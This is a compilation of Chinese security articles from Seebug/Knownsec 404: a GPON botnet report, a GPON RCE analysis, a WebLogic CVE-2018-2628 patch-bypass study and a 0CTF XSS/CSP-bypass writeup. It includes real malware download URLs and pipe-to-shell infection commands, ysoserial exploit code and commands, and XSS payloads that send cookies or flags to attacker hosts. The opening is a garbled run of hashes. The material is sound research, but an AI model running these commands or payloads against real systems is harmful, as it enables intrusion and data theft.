1234567891011121314155f2b198701ce619c6af308bcf3cdb2ef36ad2a5a01b9d9b757de1b066070dad7 51.254.221.129/c/bashf12aa6748543fde5d3b6f882418035634d559fc4ab222d6cfb399fd659b5e34f 51.254.221.129/c/cron54b951302c8da4f9de837a0309cce034a746345d2f96a821c7fc95aa93752d43 51.254.221.129/c/fbsd2cfa79ce4059bbc5798f6856cf82af7fce1d161d6ef398c07f01a010ba5299ea 51.254.221.129/c/nsshcron3ca8c549357d6121b96256715709bccf16a249dcc45bad482f6c8123fc75642f 51.254.221.129/c/nsshpftpd4fba221b1a706dd3c617e33077d1072b37b2702c3235d342d94abfd032ba5f8 51.254.221.129/c/nsshtftie2267edd2b70b5f42a2da942fa47cca98e745f2f2ff8f3bbf7baf8b1331c1a89 51.254.221.129/c/ntpdcfc82255b7e75da9cd01cffdfd671ccf6fafaa3f705041d383149c1191d8bdff 51.254.221.129/c/pftp5e8398c89631ea8d9e776ec9bdd6348cb32a77b300ab8b4ead1860a6a1e50be7 51.254.221.129/c/pty948ef8732346e136320813aade0737540ef498945c1ea14f26a2677e4d64fdee 51.254.221.129/c/shy5477129edd21ce219e2a8ecf4c0930532c73417702215f5813c437f66c8b0299 51.254.221.129/c/sshdc937caa3b2e6cbf2cc67d02639751c320c8832047ff3b7ad5783e0fd9c2d7bae 51.254.221.129/c/tfti3138079caea0baa50978345b58b8d4b05db461b808710146d4e0abb5461c97df 162.243.211.204/aiomipsf12aa6748543fde5d3b6f882418035634d559fc4ab222d6cfb399fd659b5e34f 162.243.211.204/cron5b71ba608e417fb966ff192578d705a05eab4ff825541d9394c97271196cfd69 162.243.211.204/mrt- CNC
192.99.71.250:9090
4. 未知样本1
该样本使用的感染命令如下:
编号6curl -fsSL http://ztccds.freesfocss.com/test.txt | sh
12# sha256sum ztccds.freesfocss.com/zt_arm24602f1c6d354e3a37d4a2e2dd9cef0098f390e1297c096997cc20da4795f2a2 ztccds.freesfocss.com/zt_arm该样本会连接
ztccds.freesfocss.com:23364
,样本具体功能仍在研究中。5. 未知样本2
该样本使用的感染命令如下:
编号11busybox wget http://185.246.152.173/omni -O /tmp/talk
该样本运行的命令为/tmp/talk gpon
12# sha256sum 185.246.152.173/omni18c23bd57c8247db1de2413ce3ff9e61c5504c43cbadaaefce2fb59f4b3c10a0 185.246.152.173/omni该样本会连接
185.246.152.173:1000
,但该端口已经关闭(2018/05/09)。0x02 受影响主机范围
注:由于仅探测了
diag.html
页面,故在多轮探测中我们只能确定哪些主机被攻击,无法判断攻击者是否攻击成功一. 探测到的主机均集中在墨西哥
在对探测到的主机进行地域划分时,三轮探测中被攻击的IP都位于墨西哥。
对受影响最多的五个国家进行抽样测试,结果如下:该漏洞存在与墨西哥和哈萨克斯坦,但是由于固件不同,只有墨西哥的路由器会返回
diag_host
,所以我们仅监测到墨西哥的路由器受影响情况。由于墨西哥的设备占据了全球设备的一半以上,我们认为相关数据依旧可以反应僵尸网络的实际情况。
二. 受攻击的路由器执行的命令情况
由于
2018/05/05
第一轮探测中只统计了存在/tmp
字段的diag_host
的内容,所以第一轮探测的数据具有一定的局限性。可以很明显看出:
- 确认被攻击的路由器数量在不断增加
- 各僵尸网络活动频繁,
2018/05/07
Muhstik
僵尸网络发动大量攻击,而2018/05/08
就变成了Q bot
僵尸网络变种。僵尸网络之间的竞争可见一斑。
0x03 结语
近年来,僵尸网络逐渐盯上攻击简单但危害巨大的物联网漏洞。从去年的
GoAhead
到今年的GPON
事件,无不在提醒我们物联网安全的重要性。能结合ZoomEye网络空间搜索引擎
了解到GPON
事件背后活跃的僵尸网络动态,对我们来说就是一种收获。附录
关于
ZoomEye Dork
,欢迎加入小密圈(免费):本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/595/
-
GPON Home Gateway 远程命令执行漏洞分析
作者:dawu@知道创宇404实验室
日期:2018/05/040x00 前言
2018/04/30,
vpnMentor
公布了GPON
路由器的高危漏洞:验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562)。将这两个漏洞结合,只需要发送一个请求,就可以在GPON路由器
上执行任意命令。本文在复现该漏洞的基础上,分析了相关漏洞形成的原因。0x01 漏洞文件定位
在有回显的远程命令执行漏洞中,使用
ps
命令往往能够很好地定位到漏洞点。可以很明显地看到,进程14650执行了我们的命令,找到上一个进程
14649 root /bin/WebMgr -p 20 -s 0
。因为pid
是递增的,所以很可能是/bin/WebMgr
这个文件存在漏洞。0x02 漏洞分析
在获取到某设备的
/bin/WebMgr
和/lib/
文件后,我们开始分析。2.1 分析前
分析前研究了这个漏洞的利用,发现了该web服务器是
GoAhead-webs
根据
Server
字段判断,该web服务器的版本 <=GoAhead 2.5.0
(GoAhead 3.x
版本的Server
默认为GoAhead-http
)在尝试
https://www.seebug.org/search/?keywords=goahead&page=2
已有的GoAhead 2.x
系列的漏洞无果,推测该web服务器可能基于GoAhead2.5.0
版本进行了二次开发。2.2 验证绕过漏洞
用
ida
打开WebMgr
后发现函数流程并不完整,所以使用了简单粗暴的方式,直接搜索images/
,定位到函数webLoginCheck
但是该函数在
WebMgr
中并没有被调用,故这里我们结合漏洞作出合理猜测:当该函数 return 0时表示不需要验证
结合函数逻辑,我们可以知道:当
url
中含有style/
,script/
时也可以绕过验证。2.3 命令执行漏洞
由于之前读过
GoAhead 2.1.8
的源码,所以知道WebMgr
中定义cgi
的逻辑为:先通过 websFormDefine 定义不同的cgi接口要调用的函数,然后再通过 websUrlHandlerDefine 加载 websFormHandler
举个例子:
12websFormDefine((int)"FLoidForm", (int)sub_1C918);websUrlHandlerDefine("/GponForm", 0, 0, &websFormHandler, 0);这意味着当
url
中的path
以/GponForm
开头时,会使用websFormHandler
去处理,然后websFormHandler
会寻找通过websFormDefine()
定义的各种路径,然后调用对应的函数。 在这里,就是访问/GponForm/FloidForm
时会调用sub_1C918
完成相关操作。在
exp
中,通过对/GponForm/diag_Form
发送请求最终实现了命令执行。根据上文,可以找到/GponForm/diag_Form
调用了函数sub_1A390
,结合system()
的调用流程,我们可以知道sub_1A390
调用了sub_1A684
,最终通过system()
执行命令。在
sub_1A684
中, 主要还是判断传入的dest_host
是否合法。如果不合法或者无法解析,将会进行如下处理:0x03 影响范围
根据
ZoomEye网络空间搜索引擎
的探测结果,一共有2141183
台路由器可能受该漏洞影响。0x04 结语
在分析漏洞后,我们尝试寻找该类路由器所属的厂商。在
/web/images/
下,我们找到了多个国内外厂商的logo
,但是未有其它证据证明这些路由器属于这些厂商。在查阅其它资料后,我们更倾向于这些路由器是
OEM
或者ODM
出来的产品。因为很难找到生产厂商,所以修复工作将会更加困难。由于该漏洞影响范围广,利用简单,危害巨大,各大僵尸网络家族很可能会将该漏洞列入其利用库,需要警惕。0x05 参考链接
vpnMentor
公布的GPON
路由器的漏洞
https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/Seebug漏洞平台
收录该漏洞
https://www.seebug.org/vuldb/ssvid-97258ZoomEye网络空间搜索引擎
搜索结果
https://www.zoomeye.org/searchResult?q=%22GPON%20Home%20Gateway%22
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/593/
-
Weblogic 反序列化漏洞(CVE-2018-2628)漫谈
作者:Badcode@知道创宇404实验室
漏洞简介
2018年4月18日,Oracle官方发布了4月份的安全补丁更新CPU(Critical Patch Update),更新中修复了一个高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻击者可以在未授权的情况下通过T3协议对存在漏洞的 WebLogic 组件进行远程攻击,并可获取目标系统所有权限。
漏洞影响
- Weblogic 10.3.6.0
- Weblogic 12.1.3.0
- Weblogic 12.2.1.2
- Weblogic 12.2.1.3
Weblogic 反序列化漏洞历程
这里简单的说下几个有公开利用方式的Weblogic反序列化漏洞。
CVE-2015-4852
2015年11月6日,FoxGlove Security 安全团队的 @breenmachine 发布的一篇博客中介绍了如何利用Java反序列化和 Apache Commons Collections 这一基础类库来攻击最新版的 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 这些大名鼎鼎的Java应用,实现远程代码执行。CVE-2015-4852就是利用 Weblogic 中的Commons Collections 库来实现远程代码执行。查看了CVE-2015-4852的补丁(p21984589_1036_Generic),发现 Weblogic 采用的黑名单的形式来修复这个漏洞。
但是这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,那么之前的防护就会被打破,系统遭受攻击。而后的漏洞也证明了这一点。
CVE-2016-0638
Weblogic的反序列化的点有着三个,黑名单
ClassFilter.class
也作用于这三个位置。weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
有人发现利用
weblogic.jms.common.StreamMessageImpl
的readExternal()
也是可以进行反序列化操作的,而且这个不受黑名单限制,所以可以绕过了之前的补丁。CVE-2016-3510
原理是将反序列化的对象封装进了
weblogic.corba.utils.MarshalledObject
,然后再对MarshalledObject
进行序列化,生成 payload 字节码。反序列化时MarshalledObject
不在 WebLogic 黑名单里,可正常反序列化,在反序列化时MarshalledObject
对象调用readObject
时对MarshalledObject
封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。CVE-2017-3248
Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。
这个漏洞就是利用 RMI 机制的缺陷,通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial 的
JRMPLister
,这将会序列化一个RemoteObjectInvocationHandler
,该RemoteObjectInvocationHandler
使用UnicastRef
建立到远端的 TCP 连接获取RMI registry
。 此连接使用 JRMP 协议,因此客户端将反序列化服务器响应的任何内容,从而实现未经身份验证的远程代码执行。CVE-2018-2628 漏洞分析
首先我们来看以下 CVE-2017-3248 这个漏洞的补丁(p24667634_1036_Generic),在
weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class
多了一个resolveProxyClass
,这个resolveProxyClass
只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry
,是的话抛出错误。
这里,换个RMI 接口类型即可绕过这个补丁。可以使用java.rmi.activation.Activator
来替代java.rmi.registry.Registry
生成payload,即可绕过这个判断限制。仿照
JRMPClient
写一个JRMPClient2
,重新编译。12345678910111213141516171819202122232425262728293031public class JRMPClient2 extends PayloadRunner implements ObjectPayload {public Activator getObject ( final String command ) throws Exception {String host;int port;int sep = command.indexOf(':');if ( sep < 0 ) {port = new Random().nextInt(65535);host = command;}else {host = command.substring(0, sep);port = Integer.valueOf(command.substring(sep + 1));}ObjID id = new ObjID(new Random().nextInt()); // RMI registryTCPEndpoint te = new TCPEndpoint(host, port);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {Activator.class}, obj);return proxy;}public static void main ( final String[] args ) throws Exception {Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());PayloadRunner.run(JRMPClient2.class, args);}}生成 payload:
1java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" > p_client2可以对比以下
JRMPClient
和JRMPClient2
生成的 payload。除了 RMI 接口不一样,其他都是一样的。
JRMPLister
开启1java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"我测试的 Weblogic 版本是
10.3.6.0.170117
,即已修复了CVE-2017-3248漏洞,在我本地的环境中,CommonsCollections
这个 payload 已经失效了。Weblogic 的commons-collections.jar
版本已经升级,所以我这里 payload 用的是Jdk7u21
(这个 payload 只有在 JRE 版本小于等于 1.7u21 才起作用)。在commons-collections.jar
版本没有升级的 Weblogic 中,使用CommonsCollections
这个 payload 是可以的。使用 t3 协议脚本发送 p_client2,可以看到
JRMPLister
有请求过来了,客户端命令也执行成功了。作为对比,将
JRMPClient
生成的 p_client 也发送过去,可以看到报错信息Unauthorized proxy deserialization
,正是黑名单拦截抛出的错误。可见
java.rmi.activation.Activator
是绕过了CVE-2017-3248的补丁了。另外一种绕过补丁的方式
这种方式是我在复现漏洞时尝试 payload 的时候发现的,绕过的方式和CVE-2016-0638有关。
StreamMessageImpl
这个点在反序列化的时候没有resolveProxyClass
检查。所以可以使用StreamMessageImpl
将RemoteObjectInvocationHandler
序列化,以此来绕过resolveProxyClass
函数。相当于使用CVE-2016-0638的利用方式加上CVE-2017-3248的 payload 来绕过补丁。将
JRMPClient
生成的 payloadObject 用StreamMessageImpl
封装生成新的 payload——p_stream。12345public static Object streamMessageImpl(byte[] object) throws Exception {StreamMessageImpl streamMessage = new StreamMessageImpl();streamMessage.setDataBuffer(object, object.length);return streamMessage;}使用脚本发送,可以看到,成功执行了命令。
CVE-2018-2628补丁分析
初步比对补丁(p27395085_1036_Generic),发现
WeblogicFilterConfig.class
的黑名单多了一个sun.rmi.server.UnicastRef
。1private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};但是根据我的实际测试,命令还是可以执行成功,貌似补丁没起作用。
总结
总的来说,Weblogic 反序列化漏洞就是在不停的修复-绕过-修复-绕过……最精彩的永远是下一个!
参考链接
-
TCTF/0CTF2018 XSS Writeup
作者:LoRexxar’@知道创宇404实验室
刚刚4月过去的TCTF/0CTF2018一如既往的给了我们惊喜,其中最大的惊喜莫过于多道xss中Bypass CSP的题目,其中有很多应用于现代网站的防御思路。
其中bl0g提及了通过变量覆盖来调用已有代码动态插入Script标签绕过
strict-dynamic
CSP的利用方式。h4xors.club2则是通过Script Gadgets和postmessage中间人来实现利用。
h4x0rs.space提及了Appcache以及Service worker配合jsonp接口实现的利用思路。
其中的很多利用思路非常精巧,值得研究。所以我花费了大量时间复现其中题目的思路以及环境,希望能给读者带来更多东西…
bl0g
题目分析
123An extremely secure blogJust focus on the static files. plz do not use any scanner, or your IP will be blocked.很有趣的题目,整个题的难点在于利用上
站内的功能都是比较常见的xss功能
- new 新生成文章
- article/xx 查看文章/评论
- submit 提交url (start with http://202.120.7.197:8090/)
- flag admin可以查看到正确的flag
还有一些隐藏的条件
1、CSP
12345Content-Security-Policy:script-src 'self' 'unsafe-inline'Content-Security-Policy:default-src 'none'; script-src 'nonce-hAovzHMfA+dpxVdTXRzpZq72Fjs=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'挺有趣的写法,经过我的测试,两个CSP分开写,是同时生效并且单独生效的,也就是与的关系。
换个说法就是,假设我们通过动态生成script标签的方式,成功绕过了第二个CSP,但我们引入了
<script src="hacker.website">
,就会被第一条CSP拦截,很有趣的技巧。从CSP我们也可以简单窥得一些利用思路,
base-uri 'none'
代表我们没办法通过修改根域来实现攻击,default-src 'none'
这其中包含了frame-src
,这代表攻击方式一定在站内实现,script-src
的双限制代表我们只能通过<script>{eval_code}
的方式来实现攻击,让我们接着往下看。2、new中有一个字段是effect,是设置特效的
12345678910111213141516POST /new HTTP/1.1Host: 202.120.7.197:8090Connection: keep-aliveContent-Length: 35Cache-Control: max-age=0Origin: http://202.120.7.197:8090Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Referer: http://202.120.7.197:8090/newAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: BL0G_SID=vV1p59LGb01C4ys4SIFNve4d_upQrCpyykkXWmj4g-i8u2QQzngP5LIW28L0oB1_NB3cJn0TCwjdE32iBt6htitle=a&content=a&effect=nesteffect字段会插入到页面中的
<input type="hidden" id="effect" value="{effect_value}">
,但这里实际上是没有任何过滤的,也就是说我们可以通过闭合这个标签并插入我们想要的标签,需要注意的是,这个点只能插入70个字符。3、login?next=这个点可以存在一个任意跳转,通过这个点,我们可以绕过submit的限制(submit的maxlength是前台限制,可以随便跳转
4、站内的特效是通过jqery的append引入的,在article.js这个文件中。
123$(document).ready(function(){$("body").append((effects[$("#effect").val()]));});effects在config.js中被定义。
回顾上面的几个条件,我们可以简单的整理思路。
在不考虑0day的情况下,我们唯有通过想办法通过动态生成script标签,通过sd CSP这个点来绕过
首先我们观察xss点周围的html结构
在整站不开启任何缓存的情况下,通过插入标签的方式,唯一存在一种绕过方式就是插入
<script a="
这种插入方式,如果插入点在一个原页面的script标签前的话,有几率吃掉下一个script标签的nonce属性,举个例子:
1234567<script a="...浏览器有一定的容错能力,他会补足不完整的标签=====><script a="...但这个操作在这里并不适用,因为中间过多无用标签,再加上即使吞了也不能有什么办法控制后面的内容,所以这里只有一种绕过方式就是dom xss。
稍微翻翻可以发现,唯一的机会就在这里
123$(document).ready(function(){$("body").append((effects[$("#effect").val()]));});如果我们可以覆盖effects变量,那我们就可以向body注入标签了,这里需要一点小trick。
在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签
也就是说,我们可以通过
effects
获取到<form name=effects>
这个标签。同理,我们就可以通过插入这个标签来注册effects这个变量。可如果我们尝试插入这个标签后,我们发现插入的effects在接下来的config.js中被覆盖了。
这时候我们回到刚才提到的特性,浏览器有一定的容错能力,我们可以通过插入
<script>
,那么这个标签会自动闭合后面config.js的</script>
,那么中间的代码就会被视为js代码,被CSP拦截。我们成功的覆盖了effects变量,紧接着我们需要覆盖
effects[$("#effect").val()]
,这里我们选择id属性(这里其实是为了id会使用两次,可以更省位数),所以我们尝试传入
1effect=id"><form name=effects id="alert(1)">成功执行
接下来的问题就在于怎么构造获取flag了,这里最大的问题在于怎么解决位数不够的问题,我们可以简单计算一下。
上面的payload最简化可以是
1id"><form name=effects id="">一共有45位,我们可以操作的位数只有25位。在有限的位数下我们需要获取flag页面的内容,并返回回来,我一时间没想到什么好办法。
下面写一种来自@超威蓝猫的解法,非常有趣的思路,payload大概是这样的
https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup
1id"><form name=effects id="$.get('/flag',e=>name=e)">通过jquery get获取flag内容,通过箭头函数将返回赋值给
window.name
,紧接着,我们需要想办法获取这里的window.name。这里用到一个特殊的跨域操作
http://www.cnblogs.com/zichi/p/4620656.html
这里用到了一个特殊的特性,就是window.name不跟随域变化而变化,通过window.name我们可以缓存原本的数据。
利用思路
完整payload
12345678910111213141516var i=document.createElement("iframe");i.src="http://202.120.7.197:8090/article/3503";i.id="a";var state = 0;document.body.appendChild(i);i.onload = function (){if(state === 1) {var c = i.contentWindow.name;location.href="http://xx?c="+c;} else if(state === 0) {state = 1;i.contentWindow.location = './index.html';}}然后通过
login?next=
这里来跳转到这里,成功理顺最后分享一个本环境受限的脑洞想法(我觉得蛮有意思的
这个思路受限于当前页面CSP没有
unsafe-eval
,刚才说到window.name
不随域变化而变化,那么我们传入payload1id"><form name=effects id="eval(name)">然后在自己的服务器上设置
12window.name="alert(1)";location.href="{article_url}";这样我们就能设置window.name了,如果允许eval的话,就可以通过这种方式绕过长度限制。
h4xors.club2
一个非常有意思的题目,做这题的时候有一点儿钻牛角尖了,后面想来有挺多有意思的点。先分享一个非常秀的非预期解wp。
http://www.wupco.cn/?p=4408&from=timeline
在分享一个写的比较详细的正解
https://gist.github.com/paul-axe/869919d4f2ea84dea4bf57e48dda82ed
下面顺着思路一起来看看这题。
题目分析
12345Get document .cookie of the administartor.h4x0rs.clubbackend_www got backup at /var/www/html.tar.gz 这个从头到尾都没找到Hint: Get open-redirect first, lead admin to the w0rld!站内差不多是一个答题站点,用了比较多的第三方库,站内的功能比较有限。
- profile.php可以修改自己个人信息
- user.php/{id}可以访问自己的个人信息
- report.php没什么可说的,向后台发送请求,需要注意的是,直接发送user.php,不能控制
- index.php接受msg参数
还有一些特别的点
1、user.php页面的CSP为
1Content-Security-Policy:default-src 'none'; img-src * data: ; script-src 'nonce-c8ebe81fcdccc3ac7833372f4a91fb90'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/;非常严格,只允许nonce CSP的script解析
index.php页面的CSP为
1Content-Security-Policy:script-src 'nonce-120bad5af0beb6b93aab418bead3d9ab' 'strict-dynamic';允许sd CSP动态执行script(这里的出发点可能是index.php是加载游戏的地方,为了适应CSP,必须加入
strict-dynamic
。)2、站内有两个xss点
第一个是user.php的profile,储存型xss,没有任何过滤。
第二个是index.php的msg参数,反射性xss,没有任何过滤,但是受限于xss auditor
顺着思路向下
因为user.php页面的CSP非常严格,我们需要跳出这个严格的地方,于是可以通过插入meta标签,跳转到index.php,在这里进一步操作
1当然这里我们也可以利用储存型xss和页面内的一段js来构造a标签跳转。
在user.php的查看profile页面,我们可以看到
123if(location.hash.slice(1) == 'report'){document.getElementById('report-btn').click();}当我们插入
1<a href='//xxx.xx/evil.html' id="report-btn">并请求
1/game/user.php/ddog%23report那么这里的a标签就会被点击,同样可以实现跳转。
接着我们探究index.php,这里我们的目标就是怎么能够绕过sd CSP了,当时的第一个想法是
<base>
,通过修改当前页面的根域,我们可以加载其他域的js(听起来很棒!可惜如果我们请求
1https://h4x0rs.club/game/?msg=会被xss auditor拦截,最后面没办法加
/">
,一个非常有趣的情况出现了1https://h4x0rs.club/game/?msg=%3Cbase%20href=%22http://115.28.78.16最后的
</h1>
中的/
被转换成了路径,前面的左尖括号被拼入了域名中,后面的右尖括号闭合标签…一波神奇的操作…不过这里因为没法处理尖括号域名的事情,所以置于后话不谈。
我们继续讨论绕过sd CSP的思路,这种CSP已知只有一种办法,就是通过现在已有的js代码构造xss,这是一种在去年blackhat大会上google团队公布的CSP Bypass技巧,叫做Script Gadgets。
这里的漏洞点和ppt中的思路不完全一致,但核心思路一样,都是要利用已有js代码中的一些点来构造利用。
站内关于游戏的代码在app.js中的最下面,加载了client.js
123456function load_clientjs(){var s = document.createElement('script');document.body.appendChild(s);s.defer = true;s.src = '/game/javascripts/client.js';}client.js中的代码不多,有一些值得注意的点,就是客户端是通过
postMessage
和服务端交互的。而且所有的交互都没有对来源的校验,也就是可以接受任何域的请求。
ps: 这是一个呆子不开口在2016年乌云峰会上提到的攻击手法,通过postMessage来伪造请求
这样我们可以使用iframe标签来向beckend页面发送请求,通过这种方式来控制返回的消息。
这里我盗用了一张别的wp中的图,来更好的描述这种手法
原图来自https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.club
这里我们的exploit.html充当了中间人的决赛,代替客户端向服务端发送请求,来获取想要的返回
这里我们可以关注一下client.js中的recvmsg
如果我们能控制data.title,通过这里的dom xss,我们可以成功的绕过index.php下的sd CSP限制。
值得注意的是,如果我们试图通过index.php页面的反射性xss来引入iframe标签的话,如果iframe标签中的链接是外域,会被xss auditor拦截。
所以这里需要用user.php的储存型xss跳出。这样利用链比较完整了。
利用思路
1、首先我们需要注册两个账号,这里使用ddog123和ddog321两个账号。
2、在ddog321账号中设置profile公开,并设置内容为
13、在evil_website.com(这里有个很关键的tips,这里只能使用https站,否则会爆引入混合数据,阻止访问)的index.html向backend发送请求,这里的js需要设置ping和badges,在badges中设置title来引入js
12345678910111213141516171819202122window.addEventListener("message", receiveMessage, false);var TOKEN,nonce;function receiveMessage(event){console.log("msg");data = event.data;if(data.cmd =='ping'){TOKEN = data.TOKEN;nonce = data.nonce;game.postMessage(data,"*");}if(data.cmd =='badges'){console.log('badges');console.log(data);TOKEN = data.TOKEN;data.level = 1;data.title = '\'">';console.log(data.title);// data.title = '\'">';game.postMessage(data,"*");}}4、在ddog123账户中设置profile为
1<meta http-equiv="refresh" content="0;https://h4x0rs.club/game/?msg=1%3Ciframe%20name=game_server%20src=/game/user.php/ddog321%20%3E%3C/iframe%3E">5、最后在1.js中加入利用代码,发送report给后台等待返回即可。
h4x0rs.space
TCTF/0CTF中的压轴题目,整个题目的利用思路都是近几年才被人们提出来的,这次比赛我也是第一次遇到环境,其中关于Appcache以及Service Worker的利用方式非常有趣,能在特殊环境下起到意想不到的作用。
下面的Writeup主要来自于
https://gist.github.com/masatokinugawa/b55a890c4b051cc6575b010e8c835803
题目分析
1234567891011121314I've made a blog platform let you write your secret.Nobody can know it since I enabled all of modern web security mechanism, is it cool, huh?Get document. cookie of the admin.h4x0rs.spaceHint: Every bug you found has a reason, and you may want to check some uncommon HTML5 features Also notice that, the admin is using real browser, since I found out Headless is not much real-world. GLHint 2: W3C defines everything, but sometimes browser developers decided to implement in their way, get the same browser to admin and test everything on it.Hint 3: Can you make "500 Internal Server Error" from a post /blog.php/{id} ? Make it fall, the good will come. And btw, you can solve without any automatic tool. Connect all the dots.Last Hint: CACHE先简单说一下整个题目逻辑
1、站内是一个生成文章的网站,可以输入title,content,然后可以上传图片,值得注意的是,这里的所有输入都会被转义,生成的文章内容不存在xss点。
2、站内开启CSP,而且是比较严格的nonce CSP
12Content-Security-Policy:default-src none; frame-src https://h4x0rs.space/blog/untrusted_files/embed/embed.php https://www.google.com/recaptcha/; script-src 'nonce-05c13d07976dba84c4f29f4fd4921830'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src *; connect-src https://h4x0rs.space/blog/report.php;3、文章内引入了类似短标签的方式可以插入部分标签,例如
[img]test[/img]
。值得注意的是这里有一个特例
12345678910111213141516171819case 'instagram':var dummy = document.createElement('div');dummy.innerHTML = ``; // dummy object since f.frameborder=0 doesn't work.var f = dummy.firstElementChild;var base = 'https://h4x0rs.space/blog/untrusted_files/embed/embed.php';if(e['name'] == 'youtube'){f.width = 500;f.height = 330;f.src = base+'?embed='+found[1]+'&p=youtube';} else if(e['name'] == 'instagram') {f.width = 350;f.height = 420;f.src = base+'?embed='+found[1]+'&p=instagram';}var d_iframe = document.createElement('div');d_iframe.id = 'embed'+iframes_delayed.length; // loading iframe at same time may cause overload. delay it.iframes_delayed.push( document.createElement('div').appendChild(f).parentElement.innerHTML /* hotfix: to get iframe html */ );o.innerHTML = o.innerHTML.replace( found[0], d_iframe.outerHTML );break;如果插入
[ig]123[/ig]
就会被转为引入https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=123&p=instagram
的iframe。值得注意的是,embed.php中的embed这里存在反射性xss点,只要闭合注释就可以插入标签,遗憾的是这里仍然会被CSP限制。
1https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=-->alert()&p=instagram4、站内有一个jsonp的接口,但不能传尖括号,后面的文章内容什么的也没办法逃逸双引号。
1https://h4x0rs.space/blog/pad.php?callback=render&id=c3c08256fa7df63ec4e9a81efa9c3db95e51147dd14733abc4145011cdf2bf9d5、图片上传的接口可以上传SVG,图片在站内同源,并且不受到CSP的限制,我们可以在SVG中执行js代码,来绕过CSP,而重点就是,我们只能提交blog id,我们需要找到一个办法来让它执行。
AppCache 的利用
在提示中,我们很明显可以看到
cache
这个提示,这里的提示其实是说,利用appcache来加载svg的方式。在这之前,我们可能需要了解一下什么是Appcache。具体可以看这篇文章。
https://www.html5rocks.com/en/tutorials/appcache/beginner/
这是一种在数年前随H5诞生的一种可以让开发人员指定浏览器缓存哪些文件以供离线访问,在缓存情况下,即使用户在离线状态刷新页面也同样不会影响访问。
Appcache的开启方法是在html标签下添加manifest属性
123<html manifest="example.appcache">...</html>这里的
example.appcache
可以是相对路径也可以是绝对路径,清单文件的结构大致如下:123456789101112131415161718192021222324CACHE MANIFEST# 2010-06-18:v2# Explicitly cached 'master entries'.CACHE:/favicon.icoindex.htmlstylesheet.cssimages/logo.pngscripts/main.js# Resources that require the user to be online.NETWORK:login.php/myapihttp://api.twitter.com# static.html will be served if main.py is inaccessible# offline.jpg will be served in place of all images in images/large/# offline.html will be served in place of all other .html filesFALLBACK:/main.py /static.htmlimages/large/ images/offline.jpg*.html /offline.htmlCACHE:
这是条目的默认部分。系统会在首次下载此标头下列出的文件(或紧跟在 CACHE MANIFEST 后的文件)后显式缓存这些文件。NETWORK:
此部分下列出的文件是需要连接到服务器的白名单资源。无论用户是否处于离线状态,对这些资源的所有请求都会绕过缓存。可使用通配符。FALLBACK:
此部分是可选的,用于指定无法访问资源时的后备网页。其中第一个 URI 代表资源,第二个代表后备网页。两个 URI 必须相关,并且必须与清单文件同源。可使用通配符。这里有一点儿很重要,关于Appcache,您必须修改清单文件本身才能让浏览器刷新缓存文件。
去年@filedescriptor公开了一个利用Appache来攻击沙箱域的方法。
这里正是使用了Appcache的FALLBACK文件,我们可以通过上传恶意的svg文件,形似
1fetch(`https://my-domain/?${document.cookie}`)然后将manifest设置为相对目录的svg文件路径,形似
123<!-- DEBUGembed_id: -->-->在这种情况下,如果我们能触发页面500,那么页面就会跳转至FALLBACK指定页面,我们成功引入了一个任意文件跳转。
紧接着,我们需要通过引入
[ig]a#[/ig]
,通过拼接url的方式,这里的#
会使后面的&instagram
无效,使页面返回500错误,缓存就会将其引向FALLBACK设置页面。这里的payload形似
123456789101112[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt]这里之所以会引入多个
a#
